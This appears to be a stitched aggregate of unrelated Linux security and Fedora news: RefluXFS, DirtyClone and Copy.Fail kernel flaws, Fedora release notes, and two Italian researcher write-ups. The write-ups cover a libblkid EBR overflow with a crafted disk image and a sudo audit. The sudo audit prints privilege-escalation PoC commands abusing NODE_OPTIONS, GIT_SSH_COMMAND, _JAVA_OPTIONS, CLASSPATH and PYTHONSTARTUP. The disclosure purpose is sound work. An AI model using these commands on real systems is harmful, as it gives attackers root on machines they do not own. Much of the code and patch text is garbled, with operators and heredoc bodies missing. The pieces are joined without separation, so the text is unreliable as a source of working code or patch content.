fedora

RefluXFS, a Linux kernel flaw disclosed on July 22 and tracked as CVE-2026-64600, lets an unprivileged local user overwrite root-owned files on an XFS filesystem and gain persistent root access. Qualys said default installations of Red Hat Enterprise Linux and its derivatives, Fedora Server, and Amazon Linux can meet the conditions for exploitation. The company demonstrated the race against /etc/passwd and setuid-root binaries. The overwrite lands at the block layer. It survives a reboot and leaves the target's ownership, permissions, timestamps, and setuid bit untouched, so a modified setuid-root binary still runs as root. The fix was merged on July 16, and Linux vendors have begun shipping backported kernels. The patch traces the bug to Linux 4.11 in 2017: a Fixes: tag naming commit 3c68d44a2b49 and a stable backport request marked # v4.11. Who is exposed Exploitation requires three conditions: The system runs Linux 4.11 or later without the RefluXFS fix. The XFS filesystem was created with reflink=1 . The readable target and an attacker-writable directory are on the same XFS filesystem. Qualys said to patch exposed and multi-tenant systems first, which means any reflink-enabled XFS host where untrusted code can run locally, whether through a shell, a CI job, or a compromised service. The advisory lists the default installations that can meet those conditions: Red Hat Enterprise Linux 8, 9, and 10 and their downstream derivatives, Fedora Server 31 and later, Amazon Linux 2023, and Amazon Linux 2 images from December 2022 onward. RHEL 7 filesystems are not affected because they predate XFS reflink support. Debian, Ubuntu, SLES, and openSUSE do not generally use XFS for the root filesystem by default. They are exposed only if an administrator chose XFS with reflink enabled at install time. Check the root filesystem: xfs_info / | grep reflink= reflink=1 means condition two is met. Run the same check on any other mounted XFS volume where a protected file and an attacker-writable directory share the filesystem. The Stale Mapping An attacker clones a root-owned file into a scratch file with FICLONE, which needs only read access on the source, then races concurrent O_DIRECT writes against the clone. XFS reflinks use copy-on-write, so both files initially reference the same physical disk blocks. The kernel reads the data-fork mapping under the inode lock and hands it to xfs_reflink_fill_cow_hole(), which cycles that lock to reserve transaction space. A second writer can complete the copy-on-write operation during that gap and remap the cloned file to a new block. When the first writer reacquires the lock, it refreshes the copy-on-write fork but continues using the old data-fork mapping. The upstream patch describes the failure plainly: "the mappings are stale as soon as we reacquire the ILOCK." That stale address now points to a block owned only by the original protected file. XFS sees the block as unshared and permits the direct write, so data intended for the attacker's clone lands in the target instead. It is a check-then-use error across a lock cycle. The shared-status query itself is correct; what it queries is a block address captured before the lock was released. The Hacker News found the patch touches two helpers, xfs_reflink_fill_cow_hole() and xfs_reflink_fill_delalloc(). The second carries the same lock-cycle pattern and does not appear in the Qualys advisory. Saeed Abbasi, who heads the Qualys Threat Research Unit, told The Hacker News the model found both paths at the same time, because they are so similar. In both, the fix snapshots ip->i_df.if_seq before the lock is dropped and re-reads the data fork with xfs_bmapi_read() if the counter moved. Direct I/O skips the page cache and has no revalidation hook, so the write lands on disk. Because it bypasses the target inode entirely, the metadata never changes, and the researchers said their tests produced no kernel warning or log entry. On the test machine, the race usually won in under ten seconds. The published demo strips the root password on a default RHEL 10.2 box. Qualys said an AI model found the flaw. The company pointed Claude Mythos Preview, Anthropic's restricted-access frontier model, at the kernel and, per its technical advisory, "asked it to find a vulnerability similar to Dirty COW." The model located the race, wrote a working root exploit, and drafted the advisory. Researchers then reproduced it on a stock Fedora Server 44 install, checked the model's reasoning, and coordinated disclosure upstream. Abbasi said the team changed very little in that draft. They rewrote three sections the model had left as placeholders before the maintainers were contacted: the last-minute note, the acknowledgments and the timeline. They also swapped the epigraphs, replacing the model's quotes from a TV show with song lyrics. "Nothing else," he said. Qualys has been finding a lot of these. A day earlier, it disclosed a snap-confine flaw in Ubuntu Desktop, CVE-2026-8933, where two races let a local user get root on default installs. In May it found a nine-year-old bug in the kernel's ptrace checks. Patch, Then Reboot Red Hat has issued Important-rated kernel advisories across affected RHEL 8, 9, and 10 streams. The errata began landing on July 14, eight days before the coordinated disclosure: RHSA-2026:39179 and RHSA-2026:39180 for RHEL 8 and RHSA-2026:39494 for RHEL 10, with extended-support and SAP streams following through July 17. Coverage is stream-specific, so confirm an advisory exists for your exact release. Anyone who applied those errata on schedule was covered before RefluXFS had a name. Check your patch dates before assuming exposure. The vendor's bug tracker files the flaw under the title "kernel: XFS data corruption using reflink." The entry was auto-imported on July 10 and initially described the issue as possible data corruption from reflinking a file. As of July 23, Debian's tracker listed the fix in trixie-security as kernel 6.12.96-1 and in unstable as 7.1.4-1. Trixie's base kernel 6.12.94-1 and forky's 7.1.3-1 were still marked vulnerable, as were bookworm and bullseye, including their security branches. There is no mount option or sysctl that disables XFS reflinks after a filesystem has been created, and Qualys said no practical mitigation or temporary configuration change is available. SELinux in Enforcing mode, seccomp, kernel lockdown, and container boundaries all failed to stop it in the company's testing. Memory protections like KASLR and SMEP never applied: this is a block-layer write, not memory corruption. One apparent limit is not one. The race only fires if the target's block starts unshared, so a file an administrator already reflink-copied cannot be hit. The advisory says an unprivileged user can reset that condition by running chsh, and that setuid-root binaries are unlikely to have been reflinked in the first place. Qualys published no standalone exploit code. Red Hat's tracker logged a public proof-of-concept on July 22, pointing at the advisory posted to the oss-security list, which sets out the race and the exploitation steps in full. Abbasi rejected that classification. The exploitation section is "just an overview of the exploitation mechanism," he said, and Qualys will not release its exploit, though it gave the code to the XFS maintainers so they could reproduce the bug and test the fix. None of the vendors tracking the flaw had reported exploitation in the wild at the time of writing. The Hacker News has reached out to Red Hat for comment on its assessment of the flaw's impact and will update this story with any response. Installing the package does not replace the kernel already running in memory. Apply the vendor update, reboot the system, and verify that it is running the fixed kernel. Updated on July 24, 2026, with comment from Qualys.

JFrog has published technical details and a proof of concept (PoC) targeting a recent high-severity Linux kernel vulnerability that could allow any local user to gain root privileges. Tracked as CVE-2026-43503 (CVSS score of 8.8) and referred to as DirtyClone, the local privilege escalation bug was resolved on May 24, shortly after being reported to the Linux kernel maintainers. Now, JFrog explains that the flaw is a variant of DirtyFrag (also known as Copy Fail 2) and Fragnesia, which were addressed in mid-May. They share similarities with Dirty Pipe, a Linux kernel defect disclosed in 2022. These memory corruption security defects affecting the Linux kernel’s core networking stack are rooted in how socket buffers (skb) reference shared page-cache memory, and can be weaponized using in-place cryptographic transformations in various subsystems. The flaws demonstrate “a broader exploitation pattern affecting multiple skb (socket buffer) processing paths, showing that the underlying attack primitive is not limited to a single vulnerable code path”, JFrog says. At a high level, the vulnerabilities exist because the kernel does not separate the page cache used for executables and files from packet data processed via zero-copy paths, and in-place transformations such as encryption/decryption that write back to the same buffer. “When these three contexts intersect, the kernel may modify memory that is still semantically tied to a file, leading to corruption of file-backed data in place,” JFrog says. According to the cybersecurity firm, while the fix for DirtyFrag sets a metadata flag for spliced UDP packets to prevent direct modification of file-backed pages, the patch for Fragnesia ensures that the flag propagates across functions. Updating to Linux kernel version v7.1-rc5 prevents the exploitation of DirtyClone. Only kernels that contain the complete chain of fixes for the DirtyFrag vulnerability family are protected. “Systems entirely unpatched for the original flaws (CVE-2026-43284 and CVE-2026-43500) remain broadly exposed. Additionally, any mainline, stable, or Long Term Support (LTS) kernel branch that applied the initial mitigations but lacks the subsequent follow-up patches (CVE-2026-46300 and CVE-2026-43503) remains vulnerable to specific bypasses,” JFrog explains. Popular Linux distributions that enable unprivileged user namespaces, such as Debian, Fedora, and Ubuntu, are affected. Any local user with the CAP_NET_ADMIN capability on a server or device running an affected kernel version can gain root privileges. This poses a high risk to multi-tenant cloud environments, Kubernetes clusters, and containerized workloads, the company says. Related: Organizations Warned of Exploited Linux Kernel Vulnerability Related: 19-Year-Old Linux Kernel Vulnerability Exposes Systems to Root Access Related: PoC Released for DirtyDecrypt Linux Kernel Vulnerability

Proof of Concept Background: Cos’è libblkid? libblkid è la libreria di probing per partizioni e filesystem al cuore dello stack storage di Linux. È il componente che risponde alla domanda “cosa c’è su questo block device?” — e viene invocata ovunque: inserimento USB → udev → udisks2 → libblkid → “ha una partizione ext4” ↓ automount / mkfs / fsck Ogni volta che Linux processa un nuovo disco — dall’inserimento di una chiavetta USB all’analisi di un’immagine disco di una VM — libblkid legge le tabelle delle partizioni e registra ciò che trova. La vulnerabilità risiede nel parser degli Extended Boot Record (EBR), utilizzato per gli schemi di partizione MBR con più di 4 partizioni. Il Codice Vulnerabile libblkid/src/partitions/dos.c, funzione parse_dos_extended(). Questa funzione viene chiamata per ogni partizione estesa in un layout MBR, percorrendo la catena di EBR che descrivono le partizioni logiche (partizioni 5+). static int parse_dos_extended(blkid_probe pr, blkid_parttable tab, uint32_t ex_start, uint32_t ex_size, uint32_t cur_start, uint32_t cur_size){ /* ... */ for (p = p0, i = 0; i = 2) { /* (3) guard SOLO per i≥2 */ if (start + size > cur_size) continue; if (abs_start ex_start + ex_size) continue; } if (blkid_partlist_get_partition_by_start(ls, abs_start)) continue; par = blkid_partlist_add_partition(ls, tab, abs_start, size); /* SINK */ Tre osservazioni dalla lettura del codice: 1: dos_partition_get_start(p) legge un valore little-endian a 32 bit direttamente dal buffer del disco — completamente controllato dall’attaccante. 2: abs_start = cur_start + start è un’addizione uint32_t non verificata. In C, l’aritmetica su interi senza segno è modulo 2³², quindi se la somma supera 0xFFFFFFFF si azzera silenziosamente — nessuna eccezione, nessun warning, nessun UB. 3: Il blocco if (i >= 2) contiene i bounds check che avrebbero intercettato questo problema — ma si applicano solo alla terza e quarta entry dell’EBR. Le prime due entry (la partizione dati e il puntatore al prossimo EBR) vengono elaborate senza alcun controllo. La Matematica Impostando cur_start = 2 (il settore EBR, un valore legittimo comune) e artefando la prima entry dell’EBR con lba_start = 0xFFFFFFFE: abs_start = (uint32_t)(cur_start + start) = (uint32_t)(2 + 0xFFFFFFFE) = (uint32_t)(0x100000000) ← supera il range uint32 = 0x00000000 ← wrap al settore 0 dell'MBR Il valore 0x00000000 viene passato a blkid_partlist_add_partition() come inizio della partizione. libblkid ora ritiene che esista una partizione da 128 KB che inizia al primo settore del disco — l’MBR. Costruzione dell’Immagine Artefatta L’immagine disco artefatta è un file da 4 KB. L’MBR all’offset 0 contiene una entry di partizione estesa standard che punta al settore 2. L’EBR al settore 2 contiene una entry di partizione con lba_start = 0xFFFFFFFE e lba_size = 0x100. import struct, sysdef write_le32(val): return struct.pack(' UINT32_MAX - cur_start) { DBG(LOWPROBE, ul_debug("#%d: EBR start overflow -- ignore", i + 1)); continue;} Il maintainer upstream Karel Zak ha accettato la segnalazione ma ha implementato un fix significativamente più robusto che affronta la causa radice in modo più completo. La sua analisi ha correttamente identificato che il problema non era soltanto l’overflow aritmetico, ma l’assenza totale di una validazione corretta dei bounds per le entry EBR — il codice era debole nel non garantire che i dati EBR rimanessero all’interno dell’area della partizione estesa master. Il fix upstream (firmato da Karel Zak, Reported-by: Michele Piccinni) affronta tre problemi distinti: Fix 1 — Aritmetica a 64 bit elimina il wraparound alla radice Invece di un guard preventivo, l’addizione viene promossa a uint64_t, rendendo fisicamente impossibile l’overflow: uint64_t ex_end = (uint64_t) ex_start + ex_size; /* nuovo: boundary area */...uint64_t abs = (uint64_t) cur_start + start; /* nuovo: addizione 64-bit */abs_start = (uint32_t) abs; /* cast sicuro dopo validazione */(uint64_t)(2 + 0xFFFFFFFE) = 0x100000000 — nessun wraparound. Il valore viene poi validato prima di essere troncato di nuovo a uint32_t. Fix 2 — Bounds check unificato per TUTTE le entry EBR Il codice originale applicava i bounds check solo per gli indici di loop i >= 2. Le entry i=0 e i=1 venivano elaborate senza alcuna validazione. Il fix applica un unico bounds check a tutte e quattro le entry in modo uniforme: /* la partizione dati deve essere all'interno dell'area estesa — per TUTTI i */if (abs ex_end) { DBG(LOWPROBE, ul_debug("#%d: EBR data partition outside " "extended -- ignore", i + 1)); continue;} Questa è la soluzione architetturalmente corretta: qualsiasi partizione dati EBR, per definizione, deve risiedere all’interno dei confini della partizione estesa master. La precedente distinzione i >= 2 era logicamente ingiustificata. Fix 3 — Validazione della chain EBR Il fix rafforza anche l’attraversamento della chain EBR (il processamento del puntatore al prossimo EBR), impedendo link all’indietro e navigazione fuori dai limiti: uint64_t next = (uint64_t) ex_start + start;if (next + size > ex_end) { DBG(LOWPROBE, ul_debug("EBR link outside extended area -- leave")); goto leave;}if (next ex_end) {+ DBG(LOWPROBE, ul_debug("#%d: EBR data partition outside "+ "extended -- ignore", i + 1));+ continue;+ }+ abs_start = (uint32_t) abs;+ if (i >= 2) { if (start + size > cur_size) continue;- if (abs_start ex_start + ex_size)- continue; }@@ -142,8 +150,22 @@ static int parse_dos_extended(blkid_probe pr, blkid_parttable tab, if (i == 4) goto leave;- cur_start = ex_start + start;- cur_size = size;+ {+ uint64_t next = (uint64_t) ex_start + start;++ if (next + size > ex_end) {+ DBG(LOWPROBE, ul_debug("EBR link outside "+ "extended area -- leave"));+ goto leave;+ }+ if (next = 2 esiste come ulteriore sanity check per i casi anomali; non era mai stato pensato come confine di sicurezza per le prime due entry. Una Vulnerabilità Presente da 17 Anni Uno degli aspetti più significativi di questo finding è la sua longevità. Il file dos.c che contiene parse_dos_extended() reca nel copyright header: Copyright (C) 2009 Karel Zak Il codice vulnerabile — l’addizione uint32_t senza overflow guard alla riga 96 — è presente sin dalla prima scrittura del file nel 2009, quando Karel Zak estese libblkid per supportare il probing delle tabelle delle partizioni in util-linux-ng 2.17. La vulnerabilità è sopravvissuta intatta per 17 anni attraverso decine di release, centinaia di commit e un’intera generazione di aggiornamenti di distribuzione. Nel 2016, CVE-2016-5011 aveva già portato attenzione proprio su parse_dos_extended(), identificando un bug di loop infinito nella stessa funzione. Quel fix ha aggiunto un check per i duplicati (riga 112), ma non ha toccato il codice di addizione aritmetica a riga 96. Due bug distinti, stessa funzione, a 7 anni di distanza. Perché è sopravvissuta così a lungo? La risposta è nella natura stessa del bug: l’overflow uint32_t è comportamento definito in C (standard ISO/IEC 9899:2018 §6.2.5). Non è undefined behaviour, non è un errore di compilazione, non è un warning con -Wall o -fanalyzer. Il codice è sintatticamente corretto, semanticamente sbagliato. Solo un checker taint-aware come Coverity o Clang alpha.security.taint — strumenti non tipicamente integrati nelle CI pipeline dei progetti open source — riesce a tracciare il percorso da un byte letto dal disco fino al suo utilizzo come indice critico senza sanitizzazione. Questa combinazione, vecchio codice, bug definito ma semanticamente errato, assenza di strumenti taint-aware nella CI, è esattamente il profilo delle vulnerabilità che rimangono nascoste per decenni in componenti critici di infrastruttura.

Fedora Hummingbird brings the container security model to a Linux host OS Container image security pipelines have spent the past several years pushing toward minimal footprints, hermetic builds, and continuous CVE remediation. The Fedora Project is now applying that same approach to the host operating system. At Red Hat Summit 2026, Fedora announced Fedora Hummingbird, a container-based rolling Linux distribution delivered as an OCI image. “The Linux market has split: IT operations teams need the decades-long stability of Red Hat Enterprise Linux, while builders, both human and agentic, demand upstream velocity and image-based workflows,” said Gunnar Hellekson, VP and GM, Red Hat Enterprise Linux, Red Hat. “Fedora Hummingbird Linux will define the platform for the agents that build the future of enterprise software.” A distroless model extended to the host Project Hummingbird, the effort underlying the new distribution, targets zero CVE reports across every container image it ships. Over the past eight months, the team has assembled a catalog of 49 distroless container images, totaling 157 variants once FIPS and multi-architecture builds are counted. The lineup covers Python, Go, Node.js, Rust, Ruby, OpenJDK, .NET, PostgreSQL, and nginx, among others. Distroless in this context means no package manager and no shell, leaving only the application and its strict runtime dependencies. Fedora Hummingbird extends the same model down to the operating system. The OS ships as an OCI image, built through the same Konflux-based pipeline used for the rest of the Hummingbird catalog. It supports x86_64 and aarch64 architectures and runs in container, virtual machine, and bare-metal deployments. Pipeline and kernel The build pipeline uses isolated, reproducible builds from pinned package lists. Incremental updates rely on chunkah, a tool developed by the Hummingbird team that limits downloads to changed portions of an image. Vulnerability scanning runs continuously through Syft and Grype. When an upstream fix lands, the pipeline rebuilds, tests, and publishes the patched image. Most packages in every Hummingbird image come directly from Fedora Rawhide. The remainder are pulled from upstream when Rawhide lacks the needed version, and changes are contributed back to Fedora. Each package carries its own identity, lifecycle, and CVE feed maintained by Red Hat’s Product Security team. Machine-readable vulnerability data ships with every package and indicates which CVEs affect a given workload. The distribution uses the ARK (Always Ready Kernel) from the CKI project, which tracks the mainline Linux kernel directly and is already in use within Fedora. Atomic updates and read-only root The bootable container approach gives Fedora Hummingbird atomic updates with built-in rollback. The root filesystem is read-only, and writable state is confined to /var and /etc. Configuration drift and partial update states are eliminated by design. The project is available for free at GitLab.

Copy.Fail Linux Vulnerability This is the worst Linux vulnerability in years. TL;DR copy.fail is a Linux kernel local privilege escalation, not a browser or clipboard attack. Disclosed by Theori on 29 April 2026 with a working PoC. It abuses the kernel crypto API (AF_ALG sockets) plus splice() to write four bytes at a time straight into the page cache of a file the attacker does not own. The exploit works unmodified across Ubuntu, RHEL, Debian, SUSE, Amazon Linux, Fedora and most others. No race condition, no per-distro offsets. The file on disk is never modified. AIDE, Tripwire and checksum-based monitoring see nothing. Kubernetes Pod Security Standards (Restricted) and the default RuntimeDefault seccomp profile do not block the syscall used. A custom seccomp profile is needed. The mainline fix landed on 1 April. Distros are rolling kernels out now. Patch. “Local privilege escalation” sounds dry, so let me unpack it. It means: an attacker who already has some way to run code on the machine, even as the most boring unprivileged user, can promote themselves to root. From there they can read every file, install backdoors, watch every process, and pivot to other systems. Why does that matter on shared infrastructure? Because “local” covers a lot of ground in 2026: every container on a shared Kubernetes node, every tenant on a shared hosting box, every CI/CD job that runs untrusted pull-request code, every WSL2 instance on a Windows laptop, every containerised AI agent given shell access. They all share one Linux kernel with their neighbours. A kernel LPE collapses that boundary. News article.

Fedora Linux 44 ships with GNOME 50 and KDE Plasma 6.6 The Fedora Project released Fedora Linux 44, delivering updated desktop environments, revised installer behavior, and several lower-level system changes across its editions and spins. The release covers the project’s flagship editions, including Workstation, KDE Plasma Desktop, Cloud, Server, CoreOS, and IoT, alongside the Atomic Desktops lineup of Silverblue, Kinoite, Cosmic, Budgie, and Sway. Alternate spins such as Cinnamon and Xfce are also available. Desktop updates Fedora Workstation 44 ships with GNOME 50, which brings refinements across accessibility, color management, and remote desktop. Default applications including Document Viewer, File Manager, and Calendar receive updates in this version. The KDE edition is built on Plasma 6.6 and introduces the new Plasma Login Manager and Plasma Setup. The combination is intended to provide a more integrated first-boot experience, with a simplified installation flow aimed at users setting up systems for others. Installer and networking changes The Anaconda installer now creates network profiles only for devices configured during installation, whether through boot options, kickstart, or the interactive interface. Earlier behavior generated default profiles for every detected network device. The change applies to fresh installations of Fedora Linux 44 spins and is intended to simplify post-installation network configuration. Plumbing changes OpenSSL loading times have been reduced through directory-hash support for ca-certificates. The change required moving some certificate bundles to different locations on the filesystem, and the project has documented the affected paths in its change proposal. MariaDB packaging has switched its unversioned default to version 11.8. Fedora continues to deliver versioned packages for both mariadb-10.11 and mariadb-11.8, so existing installations carried forward through an upgrade keep their current version. New installations performed without specifying a version receive 11.8. The Wine NTSYNC kernel module is now enabled automatically for select packages through package recommendations, with Wine and Steam cited as primary examples. When a package that recommends wine-ntsync is installed, NTSYNC is configured on subsequent boots without manual intervention. The mechanism is aimed at improving compatibility and performance for Windows applications, particularly games. Fedora Cloud images that support the change have replaced the /boot partition with a Btrfs subvolume. The project credits the change with better space utilization and smaller image sizes. Availability Installation media for the editions, Atomic Desktops, and spins are available through the Fedora Project’s download pages. Existing systems can move to Fedora Linux 44 using the standard upgrade procedure documented in the project’s quick-docs guide.

Nel corso di un audit indipendente del modulo plugins/sudoers/env.c in sudo 1.9.17p2 / 1.9.18rc1, sono state identificate sette variabili d’ambiente che vengono trasmesse ai processi privilegiati quando env_reset è disabilitato (!env_reset in sudoers) o quando il flag -E viene usato per preservare l’ambiente (sudo -E). Queste variabili — NODE_OPTIONS, NODE_PATH, GIT_SSH_COMMAND, _JAVA_OPTIONS, CLASSPATH, GIT_CONFIG_GLOBAL e PYTHONSTARTUP — non sono presenti nelle blacklist initial_badenv_table o badenv_table di sudo, e ciascuna fornisce un primitivo di esecuzione di codice ben documentato per il runtime corrispondente. Questa ricerca è classificata come gap di hardening piuttosto che come una vulnerabilità classica. La causa radice non è un difetto nella logica core di sudo — env_reset funziona correttamente per design. Il gap risiede nella completezza della deny-list: man mano che l’ecosistema dei runtime interpretati (Node.js, Python, JVM, Git) è cresciuto nel tempo, la blacklist non è mai stata aggiornata per tenere conto dei loro primitivi di injection a livello di variabili d’ambiente. Il maintainer upstream Todd C. Miller ha riconosciuto i finding e committato un fix in plugins/sudoers/env.c. Nessun CVE è stato richiesto, coerentemente con il framing del maintainer della modifica come un miglioramento di hardening alla deny-list. Classificazione: Gap di Hardening — Local Privilege Escalation CWE: CWE-269 (Improper Privilege Management) Versioni affette: sudo ≤ 1.9.17p2, 1.9.18rc1 Condizioni di esposizione: Defaults !env_reset in sudoers, oppure sudo -E dove SETENV è esplicitamente concesso Motivazione e Perimetro L’idea è nata da una domanda semplice: *”sudo sanitizza davvero ogni variabile d’ambiente pericolosa?”* Il file env.c nel plugin sudoers è stato rafforzato nel corso degli anni — LD_PRELOAD, LD_LIBRARY_PATH, SHELLOPTS, PERL5OPT e molte altre sono correttamente in blacklist. Ma l’ecosistema dei runtime si è espanso enormemente da quando quelle liste sono state scritte. Node.js, Python, JVM e Git espongono ciascuno la propria superficie di injection a livello di variabili d’ambiente, e nessuno di loro era sul radar di sudo. Metodologia L’approccio: enumerare ogni runtime che sudo potrebbe invocare in un contesto DevOps (Node.js, Python, JVM, Git), poi incrociare le loro variabili d’ambiente documentate per l’esecuzione di codice con le blacklist esistenti. L’audit ha coperto anche la logica env_should_delete() di sudo, che applica pattern di corrispondenza esatta e glob con prefisso. Le variabili che sfruttano runtime non contemplati nella lista originale non hanno pattern corrispondente in nessuna delle due tabelle. Strumenti utilizzati: grep ,cscope per la navigazione rapida del codebase Semgrep con regole custom per rilevare percorsi di pass-through delle variabili d’ambiente Trace manuale delle call chain env_init() →env_should_delete() →env_update_didvar() Fase 2 — Validazione Dinamica (DAST / Docker Lab) Ogni variabile candidata è stata validata in un Docker lab isolato per eliminare i falsi positivi — un passaggio critico, poiché non tutti i candidati SAST si traducono in exploitability reale. Sono state testate in parallelo due configurazioni del lab: una con !env_reset esplicito (non-default ma comune in ambito enterprise), e una che simula il sudoers di default di Ubuntu con sudo -E — il finding più significativo dal punto di vista della superficie d’attacco reale. Architettura del lab: ┌──────────────────────────────────────────────────────────┐│ Docker Compose Lab — due configurazioni ││ ││ ┌─────────────────────────┐ ┌───────────────────────┐ ││ │ victim-A │ │ victim-B │ ││ │ sudo 1.9.17p2 │ │ sudo 1.9.17p2 │ ││ │ Defaults !env_reset │ │ Ubuntu default │ ││ │ NOPASSWD:ALL │ │ %sudo ALL=(ALL:ALL) │ ││ │ (config non-default) │ │ ALL (no NOSETENV) │ ││ └─────────────────────────┘ └───────────────────────┘ ││ ││ Test A: export VAR=payload; sudo ││ Test B: export VAR=payload; sudo -E ││ Atteso: esecuzione di codice come root? │└──────────────────────────────────────────────────────────┘ Snippet sudoers Docker utilizzati per la validazione: victim-A — !env_reset esplicito (non-default)Defaults !env_resettestuser ALL=(ALL) NOPASSWD: ALL# victim-B — simulazione Ubuntu default (senza NOSETENV)%sudo ALL=(ALL:ALL) AL Ogni test ha seguito un template exploit standard, eseguito su entrambe le configurazioni: Template utilizzato per ogni findingexport =" "# Test A — !env_resetsudo # Test B — Ubuntu default + sudo -Esudo -E # Atteso: shell root o esecuzione di codice arbitrario in entrambi i cas Fase 3 — Disclosure Coordinata Tutti i finding confermati sono stati raccolti in un’email di disclosure strutturata e inviata a Todd C. Miller ([email protected]) seguendo le linee guida di responsible disclosure del progetto. L’email completa e la risposta upstream sono documentate nella Sezione 5. I Sette Finding Ogni finding è presentato con: nome della variabile, runtime affetto, meccanismo di exploit preciso, comando PoC validato nel Docker lab, e conferma del bypass su entrambe le configurazioni !env_reset e sudo -E. Finding #1 — NODE_OPTIONS (Code Injection nel Runtime Node.js) Variabile: NODE_OPTIONS Runtime: Node.js Meccanismo: Node.js elabora questa variabile come se i flag fossero passati da riga di comando. Il flag –require causa il caricamento di un modulo arbitrario prima che qualsiasi script venga eseguito — inclusi gli script in esecuzione come root. PoC: Crea il modulo malevolocat > /tmp/evil.js /tmp/pwned && chmod 777 /tmp/pwned');EOFexport NODE_OPTIONS="--require /tmp/evil.js"sudo node -e "console.log('script legittimo')"# Risultato: /tmp/pwned contiene "uid=0(root) gid=0(root)..." Severity (gap di hardening): Impatto critico se innescato — esecuzione di codice arbitrario come root Nota: Funziona anche con --require=/tmp/evil.js, --import e --env-file nelle versioni più recenti di Node.js. Finding #2 — NODE_PATH (Hijacking del Modulo Node.js) Variabile: NODE_PATH Runtime: Node.js Meccanismo: Node.js antepone le directory in NODE_PATH al percorso di ricerca dei moduli. Un override malevolo di require('fs') posizionato in una directory controllata dall’attaccante sostituirà il modulo built-in. PoC: mkdir -p /tmp/evil_modulescat > /tmp/evil_modules/path.js /tmp/git_ssh_pwned; ssh \\$*' --"sudo git ls-remote [email protected]:user/repo.git /tmp/tes Severity (gap di hardening): Alta Nota: Richiede che il comando git privilegiato contatti un remote SSH. Scenario altamente realistico in ambienti CI/CD. Finding #4 — _JAVA_OPTIONS (Injection di Agent JVM Arbitrario) Variabile: _JAVA_OPTIONS Runtime: Java (OpenJDK, Oracle JDK) Meccanismo: La JVM legge _JAVA_OPTIONS e ne antepone il contenuto agli argomenti da riga di comando prima di qualsiasi flag fornito dall’utente. Il flag -javaagent consente di caricare un Java Agent arbitrario (JAR) che viene eseguito con il livello di privilegio della JVM — ovvero, root. PoC: (Richiede un evil-agent.jar compilato — incluso nel lab)export _JAVA_OPTIONS="-javaagent:/tmp/evil-agent.jar"sudo java -jar /opt/app-legittima.ja Severity (gap di hardening): Alta Nota: JAVA_TOOL_OPTIONS presenta un comportamento identico e dovrebbe essere considerata per lo stesso fix. Finding #5 — CLASSPATH (Hijacking del Classpath Java) Variabile: CLASSPATH Runtime: Java Meccanismo: Anteponendo una directory controllata dall’attaccante a CLASSPATH, è possibile sostituire qualsiasi classe caricata dalla JVM prima che le entry del classpath dell’applicazione vengano cercate. Combinato con un’invocazione privilegiata di sudo java, si ottiene esecuzione di codice arbitrario. PoC: mkdir -p /tmp/evil_cp# Compila una sostituzione malevola di una classe usata dall'applicazione# (es. com/example/Config.class)export CLASSPATH="/tmp/evil_cp:$CLASSPATH"sudo java com.example.App Severity (gap di hardening): Media (richiede la conoscenza di una classe caricata all'avvio dall'applicazione target) Finding #6 — GIT_CONFIG_GLOBAL (Override di Configurazione Git Arbitraria) Variabile: GIT_CONFIG_GLOBAL Runtime: Git Meccanismo: Git legge il file puntato da GIT_CONFIG_GLOBAL come configurazione Git a livello utente, sovrascrivendo ~/.gitconfig. Un file di configurazione controllato dall’attaccante può ridefinire core.sshCommand per redirezionare le operazioni SSH di Git attraverso un binario arbitrario. PoC: cat > /tmp/evil.gitconfig /tmp/git_cfg_pwned; ssh $*' --EOFexport GIT_CONFIG_GLOBAL="/tmp/evil.gitconfig"sudo git ls-remote [email protected]:user/repo.git /tmp/cfg-tes Severity (gap di hardening): Alta Nota: Più stealthy di GIT_SSH_COMMAND — il payload è offloaded in un file esterno che potrebbe non essere ispezionato dai defender. Finding #7 — PYTHONSTARTUP (Esecuzione di Codice Arbitrario all’Avvio di Python) Variabile: PYTHONSTARTUP Runtime: CPython Meccanismo: Quando Python avvia una sessione interattiva, legge ed esegue il file puntato da PYTHONSTARTUP prima della REPL o di qualsiasi script. La variabile è rispettata solo in modalità interattiva, ma molti strumenti di amministrazione reali invocano Python interattivamente per task di manutenzione. PoC: cat > /tmp/evil_startup.py /tmp/python_startup_pwned')EOFexport PYTHONSTARTUP="/tmp/evil_startup.py"sudo python3 # sessione interattiva → payload eseguito come roo Severity (gap di hardening): Media Nota: Python 3.x rispetta anche PYTHONSAFEPATH=0 e PYTHONINSPECT, che sono stati analizzati e risultano varianti a severity inferiore non incluse in questa submission. Falsi Positivi Corretti Durante la Ricerca Un processo disciplinato di validazione in lab è importante quanto la scoperta statica iniziale. Diverse variabili identificate nella Fase 1 sono state scartate dopo i test Docker: Eliminare questi finding prima della disclosure mantiene la credibilità del report e rispetta il tempo del maintainer. Responsible Disclosure — Comunicazione con Todd Miller In data 2026-03-16, ho contattato Todd C. Miller, autore originale e maintainer di sudo, all’indirizzo [email protected] con il seguente riepilogo: I am a cybersecurity researcher based in Italy. During a source code review of sudo’s environment handling (plugins/sudoers/env.c), identified 7 environment variables that are not present in the initial_badenv_table and can lead to arbitrary code execution when env_reset is disabled (Defaults !env_reset). Variabili affette:NODE_OPTIONS, NODE_PATH, GIT_SSH_COMMAND, _JAVA_OPTIONS, CLASSPATH, GIT_CONFIG_GLOBAL, PYTHONSTARTUP Each variable provides a code execution primitive for the corresponding runtime. Full technical details, PoC commands, and instructions for the Docker lab are attached. I am available to coordinate the timing of any fix release with the publication of my blog post. Best regards, Michele Piccinni 5.1 Risposta di Todd C. Miller Todd ha risposto in modo tempestivo e costruttivo. La risposta completa: Da: Todd C. Miller Hi Michele, Thank you for notifying me about this. While the default is to reset the environment for commands run by sudo, I agree that it is worth adding those variables to the list that are removed when “env_reset” is disabled, or when “sudo -E” is used to preserve the environment. Would like you me to wait until you have published your article is published before the changes are committed? Con questa risposta si chiude il processo di vulnerability disclosure: Todd ha riconosciuto la validità di tutti e sette i finding senza contestazioni. Ha inquadrato il fix esplicitamente come un miglioramento alla deny-list in condizioni non-default — “worth adding” — che è il linguaggio di una modifica di hardening, non di una patch di vulnerabilità. Questo è coerente con la posizione del progetto: env_reset è il controllo primario corretto, e la deny-list è uno strato di defence-in-depth. Ha rimandato alla mia timeline di pubblicazione — un gesto di rispetto professionale purtroppo raro nel mondo della disclosure. Significativamente, Todd non ha menzionato coordinamento CVE, periodi di embargo o notifiche alle distro — confermando che questo è trattato upstream come un miglioramento di hardening piuttosto che un difetto CVE-eligible. Il Fix Upstream A seguito della disclosure coordinata, Todd C. Miller ha committato il fix nel repository ufficiale sudo-project/sudo. Commit: 40217ea Release: sudo 1.9.18 Reported by: Michele Piccinni Il messaggio di commit ufficiale 